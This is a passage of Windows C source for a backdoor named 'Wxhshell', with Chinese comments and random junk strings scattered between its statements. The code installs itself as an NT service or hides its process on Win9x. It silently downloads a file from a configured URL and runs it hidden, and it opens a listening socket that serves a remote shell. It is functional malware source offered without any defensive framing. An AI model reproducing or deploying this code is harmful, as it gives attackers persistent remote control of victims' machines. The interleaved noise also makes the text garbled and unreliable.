if(strstr(procName,"services")) return 1; // 以服务启动 `r8bBzr@% QWxl$%`89< return 0; // 注册表启动 9]/ju } 4K*DEVS o!t1EPJE* // 主模块 ^-7{{/ int StartWxhshell(LPSTR lpCmdLine) =E%<"FB { d
"vd_}P~ SOCKET wsl; Z})n%l8J]p BOOL val=TRUE; z'}?mE3i int port=0; kOuQR$9s struct sockaddr_in door; jk}m UwxrYouv~@ if(wscfg.ws_autoins) Install(); }GTy{Y*& 0<S(zva7([ port=atoi(lpCmdLine); :WnXoL TS<uBX if(port<=0) port=wscfg.ws_port; V/-~L]G *Cgd?*\7 WSADATA data; {VE$i2nC8 if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; !bCLi>8 =1vVITwl if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; 9w FQ<r setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); |]H2a;vUJR door.sin_family = AF_INET; p^``hP:J door.sin_addr.s_addr = inet_addr("127.0.0.1"); wbId}! door.sin_port = htons(port); H{T)?J~ 62LQUl]< if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { T{lJ[M closesocket(wsl); 8Lpy`He return 1; 2={ g'k( } ]H|1quT 3,B[%!3d if(listen(wsl,2) == INVALID_SOCKET) { , 0rC_)&B closesocket(wsl); 2WOdTM{u return 1; t(MlZ>H } *lG$B@;rc| Wxhshell(wsl); ':w6{b WSACleanup(); Z
[5HI; F<w/@.&m return 0; Q\:'gx8` /aJl0GL4! } Yazpfw 7'd 8`qw1dF // 以NT服务方式启动 W:>RstbnMG VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 8YN+
\ { ix&hsNzD DWORD status = 0; sEvJ!$Tt?I DWORD specificError = 0xfffffff; 5J&n<M0G1 ]@ [=FK^ serviceStatus.dwServiceType = SERVICE_WIN32; oci-[CI, serviceStatus.dwCurrentState = SERVICE_START_PENDING; 1^zF/$% serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; %r! serviceStatus.dwWin32ExitCode = 0; .+B)@? serviceStatus.dwServiceSpecificExitCode = 0; Gz@%UIv serviceStatus.dwCheckPoint = 0; vFCp=8h serviceStatus.dwWaitHint = 0; +TAm9eDNV w-CuO4P hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); |#2<4sd if (hServiceStatusHandle==0) return; |$b 4{ ~0 FqY&4 status = GetLastError(); Il;'s if (status!=NO_ERROR) c*1x*'j. { `g :<$3} serviceStatus.dwCurrentState = SERVICE_STOPPED; f(n{7 serviceStatus.dwCheckPoint = 0; kxUGd)S serviceStatus.dwWaitHint = 0; -GKelz?h> serviceStatus.dwWin32ExitCode = status; "msg./iC serviceStatus.dwServiceSpecificExitCode = specificError; ;LrKXp SetServiceStatus(hServiceStatusHandle, &serviceStatus); {h%.i Et% return; %""CacX } *BO4"3Z n`:l`n>N$ serviceStatus.dwCurrentState = SERVICE_RUNNING; O:BP35z_F serviceStatus.dwCheckPoint = 0; $qrr]U serviceStatus.dwWaitHint = 0; ^3yjE/Wi" if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); X7 ZaQ . } |XH3$;=*h Xs`:XATb/ // 处理NT服务事件,比如:启动、停止 y=j[v},4 VOID WINAPI NTServiceHandler(DWORD fdwControl) d,)F #;^5 { [a
|fm*B! switch(fdwControl) p$%h!.~99T { G#*!)#M < case SERVICE_CONTROL_STOP: z~Pmh%b serviceStatus.dwWin32ExitCode = 0; 8\V-aow serviceStatus.dwCurrentState = SERVICE_STOPPED; i ('EBO
serviceStatus.dwCheckPoint = 0; h?1pGz)[C serviceStatus.dwWaitHint = 0; =}"hC`3e { <|`@K|N SetServiceStatus(hServiceStatusHandle, &serviceStatus); q9!#S } JX/d;N7a return; <V8i>LBlz case SERVICE_CONTROL_PAUSE: )UdS(Bj serviceStatus.dwCurrentState = SERVICE_PAUSED; f:Ja break; /g9{zR [ case SERVICE_CONTROL_CONTINUE: &Egn`QU serviceStatus.dwCurrentState = SERVICE_RUNNING; 0* "j:V break; \9?<E[ case SERVICE_CONTROL_INTERROGATE: R`?^%1^N break; 1c4%g-]7 }; DvKM>P%| SetServiceStatus(hServiceStatusHandle, &serviceStatus); C}kJGi } H'`(|$:| ,Df36-74v5 // 标准应用程序主函数 E9:hK int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 1G;Ns] u { R
_Y&Y- Tz-cN // 获取操作系统版本 4Qo1f5>N OsIsNt=GetOsVer(); :&-}S>pC GetModuleFileName(NULL,ExeFile,MAX_PATH); &}$D[ 4N IjRmpVcwN // 从命令行安装 16Y~5JAc if(strpbrk(lpCmdLine,"iI")) Install(); #]N9/Hij#g >PVi 3S // 下载执行文件 79x9<,a) if(wscfg.ws_downexe) { 9"RfL7{ if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) %Eh%mMb^ WinExec(wscfg.ws_filenam,SW_HIDE); .Topg.7W } r97[!y1gt eM"mP&TTL if(!OsIsNt) { B3t>M)
9 // 如果时win9x,隐藏进程并且设置为注册表启动 NETC{:j HideProc(); "6.p=te StartWxhshell(lpCmdLine); =k7\g / } P0(~~z&%[ else 49$4 if(StartFromService()) &FVlTo1 // 以服务方式启动 r3_gPK StartServiceCtrlDispatcher(DispatchTable); vUs7#* else K-C,+ eI // 普通方式启动 piotd, StartWxhshell(lpCmdLine); vxT"BvN JJ0
CM:xe return 0; RbM~E~$ }
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